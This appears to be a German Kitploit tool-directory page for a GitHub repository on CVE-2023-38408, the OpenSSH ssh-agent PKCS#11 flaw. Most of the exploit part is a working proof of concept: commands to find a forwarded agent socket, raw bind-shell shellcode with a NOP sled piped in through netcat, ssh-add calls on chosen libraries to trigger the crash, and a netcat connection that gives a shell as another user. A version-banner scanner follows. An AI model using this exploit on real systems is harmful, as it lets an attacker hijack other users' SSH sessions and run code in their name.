Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/tx-one/cve-2023-38408
SchwachstellenscannerPayload-GenerierungExploitationShellcodePenetrationstestsLernen & BildungRemote-Access-Tool
GitHubtx-one/cve-2023-38408

CVE-2023-38408

CVE-2023-38408 SSH-Schwachstellenscanner & PoC

Repository anzeigen
7vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

OpenSSH-Sicherheitslücke - CVE-2023-38408 📚

Einleitung

Eine Sicherheitslücke wurde in OpenSSH (vor Version 9.3p2) gefunden. Das PKCS#11-Feature im ssh-Agent von OpenSSH hat einen unzureichend vertrauenswürdigen Suchpfad, was zu einer Remote-Codeausführung führt, wenn ein Agent an ein vom Angreifer kontrolliertes System weitergeleitet wird (der Code in /usr/lib ist nicht unbedingt sicher zum Laden in den ssh-Agent). Diese Schwachstelle erlaubt es einem Angreifer, der Kontrolle über den weitergeleiteten Agent-Socket auf dem Server hat und in der Lage ist, auf das Dateisystem des Client-Hosts zu schreiben, beliebigen Code mit den Berechtigungen des Benutzers auszuführen, der den ssh-Agent ausführt.

Im folgenden Beispiel können wir kurz die Schritte von der Erkundung bis zur Kompromittierung von Alices Benutzer beobachten.

  • Schritt 1 - Der angreifende Benutzer verbindet sich per SSH mit dem Server.
  • Schritt 2 - Der Benutzer Alice ist ebenfalls per SSH auf dem Server verbunden.
  • Schritt 3 - Der Angreifer erstellt Shellcode, der über den SSH-Prozess an den Zielserver gesendet wird.
  • Schritt 4 - Der vom Angreifer gesendete Shellcode nutzt die PKCS#11-Sicherheitslücke des ssh-Agents aus und erstellt einen neuen Prozess, der den SSH-Zugriff des Benutzers Alice kapert.
  • Schritt 5 - Weiterhin über den normalen Zugriff des Angreifers ist es möglich, operative Befehle als Benutzer Alice auszuführen, indem auf den im Shellcode erstellten Exploit über nc localhost 31337 zugegriffen wird.

Wie geht das? Lassen Sie uns den POC erstellen

Wie bereits erwähnt, werden wir in diesem POC zwei Benutzer verwenden, die per SSH mit einem Server verbunden sind. Um die folgenden Schritte ausführen zu können, gehen wir davon aus, dass beide Benutzer bereits Zugriff auf den Server (SSH) haben.

  1. Ermitteln Sie die PID des SSH-Agents, der auf dem entfernten Angreifer-Rechner läuft, und exportieren Sie sie in eine Umgebungsvariable. Wir haben außerdem über ssh-add die Datei linuxx64.elf.stub (UEFI-Boot-Stub) hinzugefügt.
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. Um nun den Shellcode mit SSH in den Prozess zu kopieren, müssen Sie die folgenden Schritte auf dem Angreifer-Rechner ausführen;
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

Drücken Sie schließlich Strg-C, um die Netcat-Übertragung zu stoppen, sobald der Shellcode erfolgreich im Speicher des Agents platziert wurde.

  1. In diesem Schritt laden wir 3 Dateien über ssh-add hoch; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 und libns3.35-wave.so.0.0.0. Der nächste Schritt im Exploit-Prozess ist das Registrieren des Signal-Handlers für das Segmentation-Fault (SIGSEGV)-Signal.

[!NOTE] Auslösung von SIGSEGV 💬
SIGSEGV ist ein Signal, das an einen Computerprozess gesendet wird, wenn ein ungültiger Speicherzugriff (Segmentation Fault) auftritt. Beim Empfang des SIGSEGV-Signals erkennt der Kernel, dass ein ungültiger Speicherzugriff stattgefunden hat, und ruft den benutzerdefinierten Signal-Handler auf, anstatt das Programm abrupt zu beenden. Auf diese Weise ergreift der Angreifer die Gelegenheit, die Programmausführung zu manipulieren und sie in Richtung des eingeschleusten schädlichen Codes zu lenken, der sich im NOP-Slide befindet.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. An diesem Punkt haben wir es bereits geschafft, den Benutzer Alice über den SSH-Zugriff des Angreifers auf den Server auszunutzen, indem wir den folgenden vom Shellcode erstellten Befehl ausführen. 🔥
root@kitploit:~
nc localhost 31337

Bin ich von CVE-2023-38408 betroffen ❓

Die Sicherheitslücke betrifft hauptsächlich Systeme, auf denen der SSH-Agent von OpenSSH verwendet wird und die Agent-Weiterleitungsfunktion aktiviert ist. Organisationen und Einzelpersonen, die auf OpenSSH angewiesen sind, sollten umgehend ihre Konfigurationen überprüfen, um eine mögliche Gefährdung festzustellen. Wenn Ihr System die genannten Bedingungen erfüllt, ist es entscheidend, sofort Maßnahmen zu ergreifen, um das mit CVE-2023-38408 verbundene Risiko zu mindern.

Automatisierte Erkennung der CVE mit meinem Tool

Installation

root@kitploit:~
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408

Verwendung

root@kitploit:~
python CVE-2023-38408_scanner.py -t <target> -p <port>

Protokollablauf

root@kitploit:~
Client                          Server
  | --- SSH-2.0-Client_Test ----> |
  | <---- SSH Server Banner ----- |

Einfache Ausgabe

root@kitploit:~
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne

[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Netzwerkressourcen scannen.

Tool herunterladen